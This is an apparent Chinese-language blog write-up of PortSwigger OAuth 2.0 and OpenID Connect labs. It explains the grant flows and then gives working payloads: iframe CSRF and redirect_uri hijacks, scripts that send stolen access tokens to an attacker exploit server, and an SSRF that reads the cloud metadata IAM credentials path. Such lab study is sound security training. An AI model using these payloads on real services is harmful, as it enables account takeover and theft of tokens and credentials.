PortSwigger——OAuth 2.0 authentication vulnerabilities

一、OAuth简介

OAuth是一种常用的授权框架,微信登录抖音就是典型的OAuth授权。这里所说的OAuth指的是OAuth 2.0OAuth授权涉及三个不同方:客户端应用程序、资源所有者和OAuth服务提供者。以微信登录抖音为例:

  • 客户端应用程序:抖音;
  • 资源所有者:用户(你);
  • OAuth 服务提供者:微信。

单点登录(Single Sign-On,简称 SSO)是一种身份验证机制,允许用户通过一次登录访问多个相关但独立的系统或应用,而无需在每个系统中重复登录。

OAuth 2.0的实现方式有很多,这些不同的实现方式被称为OAuth的“流程”或“授权类型”。其中,授权码模式和隐式模式是常见的授权类型。所有的授权类型都会经历如下阶段:

  1. 客户端请求访问用户数据。客户端应用(例如一个第三方应用)向 OAuth 服务(例如微信、Google 等)请求访问用户的某些数据。在请求中,客户端会指定:授权类型:例如授权码模式或隐式模式。权限范围:例如访问用户的基本信息、邮箱、日历等。
  2. 用户登录并同意授权。用户被重定向到 OAuth 服务 的登录页面,输入凭证(如用户名和密码)进行登录。登录后,用户会看到一个授权页面,显示客户端请求的权限范围。用户可以选择同意或拒绝授权。
  3. 客户端获取访问令牌。如果用户同意授权,OAuth 服务会向客户端颁发一个 访问令牌(Access Token)。访问令牌是客户端访问用户数据的凭证,证明用户已授权。
  4. 客户端使用访问令牌获取数据。客户端使用访问令牌向资源服务器(例如微信的用户信息接口)发起 API 请求,获取用户的相关数据。资源服务器会验证访问令牌的有效性,如果验证通过,则返回请求的数据。

二、OAuth授权类型

OAuth授权类型确定OAuth过程中涉及的步骤的确切顺序。授权类型还影响客户端应用程序在每个阶段如何与OAuth服务通信,包括如何发送访问令牌本身。

2.1 OAuth 范围

对于任何OAuth授权类型,客户端应用程序必须指定它想要访问哪些数据以及它想要执行什么类型的操作。它使用它发送给OAuth服务的授权请求的Scope参数来完成这项工作。Scope是一个文本字符串,其格式和命名规则由OAuth服务提供方决定。示例授权请求:

GET /authorize?
client_id=CLIENT_ID&
redirect_uri=REDIRECT_URI&
response_type=code&
scope=read_contacts HTTP/1.1
Host: oauth.example.com

2.2 授权码授权类型

简单流程:客户端应用程序和OAuth服务首先使用重定向来交换一系列基于浏览器的HTTP请求,这些请求将启动流。询问用户是否同意所请求的访问。如果它们接受,则客户端应用程序被授予“授权代码”。然后,客户端应用程序与OAuth服务交换此代码以接收“访问令牌”,它们可以使用该令牌进行API调用以获取相关的用户数据。

在这里插入图片描述
详细流程:

  1. 授权请求
    客户端应用程序向OAuth服务的/authorization端点发送请求(端点以实际为准),请求访问特定用户数据的权限。

    GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1	
    Host: oauth-authorization-server.com
    
    • client_id:客户端应用程序的唯一标识,该值是在客户端应用程序注册OAuth服务时生成的。
    • redirect_uri:授权成功后,授权服务器将用户重定向回的地址。
    • response_type:OAuth授权类型,授权码授权对应的是code
    • scope:指定客户端应用程序要访问的用户数据子集(例如读取用户信息)。
    • state:用来防CSRF攻击的随机值。
  2. 用户登录和同意
    当授权服务器接收到初始请求时,它会将用户重定向到登录页面,在该页面上,系统会提示用户登录到其OAuth提供程序的帐户,例如:微信。然后,将向它们呈现客户端应用程序想要访问的数据列表。用户可以选择是否同意此访问。

  3. 授权码授予
    如果用户同意请求的访问,用户浏览器将被重定向到授权请求的redirect_uri参数中指定的URL中。URL中包含授权码和state参数。示例重定向 URL:

    GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
    Host: client-app.com
    
  4. 访问token请求
    一旦客户端应用程序接收到授权代码,它需要将其交换为访问令牌。为此,它向OAuth服务的/token端点发送服务器到服务器的POST请求。

    从这一点开始的所有通信都发生在安全的反向信道中,因此通常无法被攻击者观察或控制。

    示例POST数据包如下:

    POST /token HTTP/1.1
    Host: oauth-authorization-server.com
    …
    client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
    
    • client_secret:客户端身份凭证。客户端应用程序必须通过包含向OAuth服务注册时分配的密钥来进行身份验证。
    • grant_type:向服务端说明当前OAuth授权模式为授权码授权模式(现在访问/token)。
  5. 访问令牌授予
    授权服务器验证请求后,返回访问令牌(access_token)。

    {
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid profile",
    …
    }
    
  6. API调用
    客户端使用访问令牌向资源服务器发起请求,获取用户数据。访问令牌在Authorization:Bearer头中提交,以证明客户端应用程序有权访问此数据。如:

    GET /userinfo HTTP/1.1
    Host: oauth-resource-server.com
    Authorization: Bearer z0y9x8w7v6u5
    
  7. 资源授予
    资源服务器应验证令牌是否有效,以及用户信息,完成登录。

    {
    "username":"carlos",
    "email":"carlos@carlos-montoya.net",
    …
    }
    

2.3 隐式模式

没有授权码授权模式安全
在这里插入图片描述

  1. 授权请求
    隐式流的启动方式与授权代码流的启动方式大致相同,唯一的主要区别是response_type参数必须设置为token
    GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
    Host: oauth-authorization-server.com
    
  2. 用户登录与同意
    此过程与授权代码流完全相同。
  3. 访问令牌授予
    如果用户同意所请求的访问,OAuth服务器发送302将用户的浏览器重定向到授权请求中指定的redirect_uri,且URL#后附带访问令牌。
    GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
    Host: client-app.com
    

    URL 中的#及其后面的内容(片段部分)不会发送到服务器,仅用于客户端内部处理。

  4. API调用
    一旦客户端应用程序成功地从URL片段中提取了访问令牌,它就可以使用它来对OAuth服务的/userinfo端点进行API调用。该过程与授权码授权模式类似。并返回用户数据
  5. 资源授予
    资源服务器应验证令牌是否有效,以及用户信息,完成登录。

三、如何识别OAuth认证

无论使用哪种OAuth授权类型,流的第一个请求都将始终是对/authorization端点的请求,其中包含许多专门用于OAuth的查询参数。特别要注意client_idredirect_uriresponse_type参数,如:

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

四、利用OAuth认证漏洞

4.1 OAuth客户端漏洞

4.1.1 隐式授权类型的不正确实现

由于通过浏览器发送访问令牌所带来的危险,隐式授权类型经常用于经典的客户端-服务器Web应用程序中。在这个流中,访问令牌作为URL片段通过用户的浏览器从OAuth服务发送到客户端应用程序。然后,客户端应用程序使用JavaScript访问令牌。如果应用程序希望在用户关闭页面后保持会话,它需要将当前用户数据(通常是用户ID和访问令牌)存储在某个地方

为了解决这个问题,客户端应用程序通常会在POST请求中将这些数据提交给服务器,然后为用户分配一个会话cookie,从而有效地使他们登录。此请求大致相当于表单提交请求,该请求可能作为经典的基于密码的登录的一部分发送。但是,在这种情况下,服务器没有任何秘密或密码来与提交的数据进行比较,这意味着它是隐式信任的。

在隐式流中,此POST请求通过浏览器暴露给攻击者。因此,如果客户端应用程序没有正确检查访问令牌是否与请求中的其他数据匹配,则此行为可能导致严重的漏洞。在这种情况下,攻击者可以简单地更改发送到服务器的参数来模拟任何用户。

Lab: Authentication bypass via OAuth implicit flow

通过查看response_type的值token,所以本次OAuth授权使用隐式模式。
在这里插入图片描述
使用wiener:peter登录
在这里插入图片描述
选择continue,客户端会请求POST /interaction/aVo_Ot7tHAol49fbASXeT/confirm。这样就完成了用户登录和同意阶段。
在这里插入图片描述
在这里插入图片描述
跳转到GET /auth/aVo_Ot7tHAol49fbASXeT,服务端会返回access_token。客户段会跳转到/oauth-callback
在这里插入图片描述
客户端访问GET /oauth-callback,服务端会返回JS脚本,客户段收到js脚本后,会在本地进行运行,即

<script>
// 获取授权令牌(access_token)
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
const token = urlSearchParams.get('access_token');

// 用令牌请求用户信息
// 拿到access_token后,代码会用它去请求一个OAuth服务器的接口,获取用户的基本信息(比如邮箱、用户名等)
fetch('https://oauth-0af30057042f16108038656c02a400b1.oauth-server.net/me', {
    method: 'GET',
    headers: {
        'Authorization': 'Bearer ' + token,
        'Content-Type': 'application/json'
    }
})
.then(r => r.json())
.then(j => 

	// 将用户信息发送到本地服务器完成登录
	// 拿到用户信息后(比如邮箱、用户名),代码会把这些信息连同access_token一起发送到本地服务器的/authenticate接口。
    fetch('/authenticate', {
        method: 'POST',
        headers: {
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            email: j.email,
            username: j.sub,
            token: token
        })
    }).then(r => document.location = '/')) //登录成功后,页面会跳转到主页(/)

在这里插入图片描述
通过OAuth接口获取用户信息
在这里插入图片描述
将用户信息与token返回给服务端完成登录。
在这里插入图片描述
在最后一步,向服务器提交用户信息和token的时候将email改为carlos@carlos-montoya.net,即可已carlos身份完成登录。
在这里插入图片描述

同时,将username也改为carlos,也可以用carlos身份进行登录。也就是说服务端只验证token是不是有效的,没有对token是谁申请的进行验证

在这里插入图片描述

4.1.2 CSRF保护缺陷

在OAuth流中,state参数为随机值(可选),例如当用户首次启动OAuth流时,与用户会话相关的内容的哈希值。该值作为客户端应用程序的CSRF令牌形式在客户端应用程序和OAuth服务之间来回传递。如果OAuth流中不存在state值,可能会存在CSRF漏洞。

Lab: Forced OAuth profile linking

首先使用密码进行登录wiener:peter
在这里插入图片描述
点击Attach a social profile,将被重定向到社交媒体网站,并使用社交媒体凭据登录以完成OAuth流程。之后,被重定向回博客网站。
在这里插入图片描述
因为我这里先登陆了社交媒体账号,所以会省略一些授权码授权类型的步骤,/oauth-linking?codecode的值就是授权码。
在这里插入图片描述拿到授权码之后,客户端请求GET /oauth-linking?code即可完成账号绑定。是不是谁给服务端这个请求,就是谁绑定呢
重新Attach a social profile,在burp中拦截最后一个GET /oauth-linking?code,复制该URL,并丢弃该请求包。退出当前登录,将下面js代码发给受害者:

<iframe src="https://0a5f00fc03bbd3358aa474e00052005d.web-security-academy.net/oauth-linking?code=XP8UUWDAQSbSbfh0q-TlJ8Dgf2mpO9uYWW53XF4_FqF"></iframe>

iframe作用是加载网址,就相当于发送GET请求。

再使用login with social media,即可使用admin的身份进行登录。能使用admin身份登录的原因是:攻击者的社交媒体账号与管理员账号进行绑定,服务端通过cookie身份信息和授权码的身份信息,将二者进行绑定
在这里插入图片描述

在这里插入图片描述

4.2 OAuth服务端漏洞

4.2.1 泄露授权码和访问令牌

1、redirect_uri未验证——Lab: OAuth account hijacking via redirect_uri

首先,正常完成一次登录,即输入OAuth服务的用户名和密码。登出后,重新登录则不需要再次输入用户名和密码。原因是OAuth服务的会话并未失效,而本地还保存着相应的cookie

在第二次登录的时候,可以看到GET /auth?client_id这个数据包是进行OAuth请求认证的数据包,同时数据包中携带上次会话的cookie,所以在服务器验证cookie中的会话之后,直接跳转到redirect_uri指定的网址中。
在这里插入图片描述
这里将redirect_uri改为https://www.baidu.com,可以看到客户端将会被重定向到https://www.baidu.com/?code=W-RDSPKEua89LLrALxnkbRjTwn_dsV6aOYX_-Y1Fl7r
在这里插入图片描述
将下面的js脚本发给受害者:

<iframe src="https://0a1100ff047acf7380bc4975004500a2.web-security-academy.net/auth?client_id=jihla3w5p1gmqtdkp2pc8&redirect_uri=https://exploit-0ad6000704b5cfc8803748d201e7000f.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

一旦受害者加载改js脚本,将会向OAuth服务发起认证,服务端会将授权码拼接到redirect_uri后面,并进行跳转。攻击者只要拿到授权码即可劫持会话。

不知道为什么Deliver exploit to victim,受害者不访问,但是在本地可以执行。
在这里插入图片描述

在这里插入图片描述

2、有缺陷的redirect_uri验证——Lab: Stealing OAuth access tokens via an open redirect

OAuth服务通常会要求客户端应用在注册时提供一个合法的回调URI白名单。当OAuth服务收到新的请求时,会验证redirect_uri参数是否在白名单中。如果客户端提供外部URI,可能会导致错误。然而,攻击者仍可能通过某些方式绕过这种验证。

  1. 路径和参数的修改:一些实现可能仅检查URI是否以正确的域名开头,而忽略路径、查询参数或片段。尝试添加或删除路径、查询参数和片段,看看哪些修改不会触发错误。
  2. 利用URI解析差异:尝试在默认的redirect_uri后附加额外值,利用OAuth服务不同组件对URI解析的差异。例如,使用类似以下的技巧:
    https://default-host.com&@foo.evil-user.net#@bar.evil-user.net/
  3. 服务器端参数污染(SSP)漏洞:尝试提交重复的redirect_uri参数,看看是否能绕过验证:
    https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net
  4. 利用localhost的特殊处理:某些服务器可能在生产环境中意外允许以localhost开头的URI,因为它们常用于开发环境。尝试注册类似localhost.evil-user.net的域名来绕过验证
  5. 测试多个参数的组合
    在实际攻击中,不应仅单独测试redirect_uri参数。有时修改一个参数可能会影响其他参数的验证。例如:将response_modequery改为fragment可能会改变redirect_uri的解析方式,从而允许提交原本被阻止的URI。

这个实验的关键是:尽管服务端对redirect_uri的值使用白名单做了限制,但是通过审计相关路径,可以绕过。

使用第三方账户进行登录,OAuth授权方式属于授权码授权类型,在GET /auth/cYLwsV1_bbsBDK4SdqTeV时,服务端会给客户端授权码,然后GET /me时,数据包中会携带授权码,获取用户的相关信息,然后请求POST /authenticate,将用户信息和授权码一并发给服务端,验证通过后完成OAuth授权登录。
在这里插入图片描述
在这里插入图片描述

如果能拿到受害者的授权码,且授权码没有时效性,就可以重发GET /me,获取受害者的用户信息。

尽管该靶场对redirect_ur的参数进行了白名单验证,但是使用下面的方式是可以绕过的。

/oauth-callback/../post/next?path=/post?postId=5 # 允许../
# /next?path=/post?postId=5来源于网页next post

在这里插入图片描述

在这里插入图片描述
上述path参数使用相对路径,该靶场支持使用决定路径,直接访问攻击者控制的服务器。

在这里插入图片描述
exploit server上部署以下脚本:

<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-0a1b005b04a11112809d476f02fa0043.oauth-server.net/auth?client_id=qtsxkravkm0iqfdke6hfd&redirect_uri=https://0ab500c503b7310b80d3626900e400b2.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a45000e04141105806f483401a10045.exploit-server.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
    	// 将浏览器重定向到当前域名的根路径(/),并在 URL 中附加查询参数
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

受害者浏览器加载该JS脚本,因为document.location.hash为空,就会向OAuth服务器进行OAuth认证,受害者浏览器拿到服务端授予的授权码后会重定向到https://exploit-0a45000e04141105806f483401a10045.exploit-server.net/exploit且携带授权码,访问exploit server又会返回上述js脚本,此时会触发脚本中的else条件。

1.浏览器第一次加载上述js脚本,document.location.hash为空,执行OAuth授权
2.OAuth授权完成后,重定向到https://0ab500c503b7310b80d3626900e400b2.web-security-academy.net/post/next?path=https%3A%2F%2Fexploit-0a2600b0038f318680ea612b01ec00b1.exploit-server.net%2Fexploit#access_token=FkVYJojt_0VrpNcO1ay3MqFOY5R4ep47MAlDKaGe9ie&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email
3.又重定向到https%3A%2F%2Fexploit-0a2600b0038f318680ea612b01ec00b1.exploit-server.net%2Fexploit#access_token=FkVYJojt_0VrpNcO1ay3MqFOY5R4ep47MAlDKaGe9ie&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email 
## 因为#的存在,只会请求https://exploit-0a2600b0038f318680ea612b01ec00b1.exploit-server.net/exploit
4. /exploit再次返回JS脚本,此时浏览器中URL栏还是https%3A%2F%2Fexploit-0a2600b0038f318680ea612b01ec00b1.exploit-server.net%2Fexploit#access_token=FkVYJojt_0VrpNcO1ay3MqFOY5R4ep47MAlDKaGe9ie&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email
5. 再次执行js脚本,触发else条件,重定向到https://exploit-0a2600b0038f318680ea612b01ec00b1.exploit-server.net#access_token=FkVYJojt_0VrpNcO1ay3MqFOY5R4ep47MAlDKaGe9ie&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email

以下两张图是本地验证。
在这里插入图片描述
在这里插入图片描述

将上述js发送给受害者,即可拿到API key。
在这里插入图片描述

3、通过代理窃取授权码和token——Lab: Stealing OAuth access tokens via a proxy page

正常登录一下,也是按照OAuth授权码类型进行授权。
在这里插入图片描述
当随便访问一个postGET /post?postId=8,会请求GET /post/comment/comment-form
仔细查看GET /post?postId=8的返回内容,可以看到源代码中动态加载html页面:

<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=8'></iframe>
# onload: 当iframe加载完成时触发的事件处理程序。这里是当 iframe 加载完成后,动态调整 iframe 的高度以适应其内容。
# src:指定要嵌入的页面的URL。

所以会请求GET /post/comment/comment-form,其中包含一段js脚本:

<script>
	// 页面加载后,向父页面发送消息:向父页面传递当前URL
	// '*':表示对任何来源的父页面发送消息,也就是谁加载iframe,就向谁发送消息
	parent.postMessage({type: 'onload', data: window.location.href}, '*')
	function submitForm(form, ev) {
		ev.preventDefault();
		const formData = new FormData(document.getElementById("comment-form"));
		const hashParams = new URLSearchParams(window.location.hash.substr(1));
		const o = {};
		formData.forEach((v, k) => o[k] = v);
		hashParams.forEach((v, k) => o[k] = v);
		parent.postMessage({type: 'oncomment', content: o}, '*');
		form.reset();
	}
</script>

exploit server中构造payload:

<iframe src="https://oauth-0aae0052049312d080a001ca02320045.oauth-server.net/auth?client_id=ga3mmcyt9w03yq72mwpba&redirect_uri=https://0a81004c043e12d880dc0372001f0099.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1639392900&scope=openid%20profile%20email"></iframe>
<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>

解释上述代码:

  1. 用户加载该包含js代码的html页面,即访问https://exploit-0ae2006b04c3392f832b5f56010900d5.exploit-server.net/exploit,服务器会返回上述iframe标签和js代码;
  2. 用户浏览器会加载iframe中的url,并完成OAuth授权,最后重定向到https://0a2a00f20443399d834560710065003b.web-security-academy.net/post/comment/comment-form#access_token=RXpkM29UAwUhewF6TmVso7kMdAPM-qTG8ldf24KPsYB&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid profile email,因为该页面存在js脚本,即向父页面https://exploit-0ae2006b04c3392f832b5f56010900d5.exploit-server.net/exploit发送上述URL。
  3. window.addEventListener('message', function(e))用于接收parent.postMessage发送的消息,并调用回调函数function
  4. 回调函数会发送GET请求GET https://exploit-0ae2006b04c3392f832b5f56010900d5.exploit-server.net/https%3A%2F%2F0a2a00f20443399d834560710065003b.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3DRXpkM29UAwUhewF6TmVso7kMdAPM-qTG8ldf24KPsYB%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email。至此就可以拿到用户的授权码。

在这里插入图片描述
不知道为啥victim加载payload,但是本地正常触发

五、OpenID connect

OpenID Connect 是一个基于OAuth 2.0的身份认证协议,用于在客户端应用和身份提供者之间安全地传递用户身份信息。OAuth 2.0主要用于授权,而 OpenID Connect专注于身份认证。

5.1 OpenID工作流程

OpenID中的角色与OAuth 2.0中的角色本质上是相同的,只是术语略有不同。分别为:

  • 依赖方(Relying party):在OAuth 2.0 中对应客户端应用
  • 终端用户(End User):在OAuth 2.0 中对应资源所有者
  • OpenID提供者(OpenID Provider ):在OAuth 2.0 中对应授权服务器

OpenID中,存在声明(claims)和范围(scopes)两个概念:

  • Claims 描述用户信息的键值对,例如"family_name": "Montoya"
  • Scopes是客户端请求的权限范围,用于指定需要访问的用户信息。如:openidOpenID Connect的核心scope,必须包含。它表示客户端请求用户的身份验证信息。profile:允许客户端访问用户的基本个人资料信息。email:允许客户端访问用户的邮箱信息等。

假设客户端应用在授权请求中指定了以下scope:openid profile。这意味着客户端请求以下权限:

  • openid:获取用户的身份验证信息(如用户ID)。
  • profile:获取用户的基本个人资料信息,例如:family_name(姓氏)、given_name(名字)…

这些信息将以Claims的形式返回给客户端应用。例如,返回的ID Token可能包含以下内容:

{
  "sub": "1234567890", // 用户唯一标识
  "family_name": "Montoya",
  "given_name": "Inigo",
  "birth_date": "1990-01-01"
}

此外,ID Token采用JWT的形式在客户端和服务端进行传输

5.2 识别OpenID connect

  1. 判断客户端是否使用OpenID Connect

    如果授权请求的URL是:

    https://auth.example.com/authorize?client_id=abc123&scope=openid+profile&response_type=code
    

    这表明客户端正在使用OpenID Connect,因为它包含了openid这个scope。

  2. 检查OAuth服务是否支持OpenID Connect

    • 方法1:添加openid scope
      // 原始请求
      https://auth.example.com/authorize?client_id=abc123&scope=profile&response_type=code
      // 修改请求,scope=openid+profile
      https://auth.example.com/authorize?client_id=abc123&scope=openid+profile&response_type=code
      
    • 方法2:将response_type改为id_token,观察是否出现错误。
      https://auth.example.com/authorize?client_id=abc123&scope=openid+profile&response_type=id_token
      
  3. 查看OAuth提供商的文档
    访问:

    https://auth.example.com/.well-known/openid-configuration
    

    如果返回一个JSON配置文件,说明该服务支持OpenID Connect

5.3 OpenID connect相关漏洞

Unprotected dynamic client registration(未受保护的动态客户端注册)

未受保护的动态客户端注册Unprotected Dynamic Client Registration原理:授权服务器的动态客户端注册机制没有进行适当的保护,允许任意客户端注册并获取client_idclient_secret

  • 在OAuth和OpenID Connect中,客户端注册是指客户端(如Web应用或移动应用)向授权服务器(OAuth/OpenID Connect服务提供商)注册,以获取一个client_idclient_secret。这些凭据用于标识客户端,并在授权流程中验证客户端的身份。
  • 动态客户端注册是一种机制,允许客户端在运行时自动向授权服务器注册,而无需手动预先注册。这种机制通常通过一个注册端点(如/register)实现,客户端发送注册请求,授权服务器返回client_idclient_secret
Lab: SSRF via OpenID dynamic client registration

使用wiener:peter登录,可以看到是授权码授权类型的OAuth,同时在scope中看到了openid,所以此处使用了openid connect
在这里插入图片描述
访问https://oauth-0ace005f0460aa1680c2e7dc02e10090.oauth-server.net/.well-known/openid-configuration,查看OAuth提供商的文档。用户注册的路径为/reg
在这里插入图片描述
发送以下POST数据包随便注册一个client_id

POST /reg HTTP/2
Host: oauth-0ace005f0460aa1680c2e7dc02e10090.oauth-server.net
Content-Type: application/json
Content-Length: 67

{
    "redirect_uris" : [
        "https://example.com"
    ]
}

在这里插入图片描述
在正常登录的时候,OAuth授权过程中会有一个特殊的请求GET /client/ddc3wrfpy78uqow88d2pe/logo,其中ddc3wrfpy78uqow88d2pe就是应用程序的client_id
使用如下数据包重新注册:

POST /reg HTTP/2
Host: oauth-0ace005f0460aa1680c2e7dc02e10090.oauth-server.net
Content-Type: application/json
Content-Length: 135

{
    "redirect_uris" : [
        "https://example.com"
    ],
"logo_uri":"https://wwwkpyh7ujglx3t4umftc453zu5ltbh0.oastify.com"
}

在这里插入图片描述
访问刚刚注册的应用程序的logo,即GET /client/zSXqbRGNjUh859ryuVxId/logo
在这里插入图片描述
在burp的Collaborator中会看到一个HTTP请求,就说明客户端发送GET /client/zSXqbRGNjUh859ryuVxId/logo,其实回访问https://wwwkpyh7ujglx3t4umftc453zu5ltbh0.oastify.com
在这里插入图片描述
如果在注册时将logo_uri改为带有敏感信息的地址,会不会将信息带出来呢

logo_uri改为靶场提供的url,再访问GET /client/05ALpQ_s7iVrN9pSUWJcP/logo

POST /reg HTTP/2
Host: oauth-0ace005f0460aa1680c2e7dc02e10090.oauth-server.net
Content-Type: application/json
Content-Length: 154

{
    "redirect_uris" : [
        "https://example.com"
    ],
"logo_uri":"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

在这里插入图片描述
在这里插入图片描述

总结:OpenID可以任意注册应用程序,并返回client_id,如果存在SSRF漏洞,就可以读取内网中的敏感数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值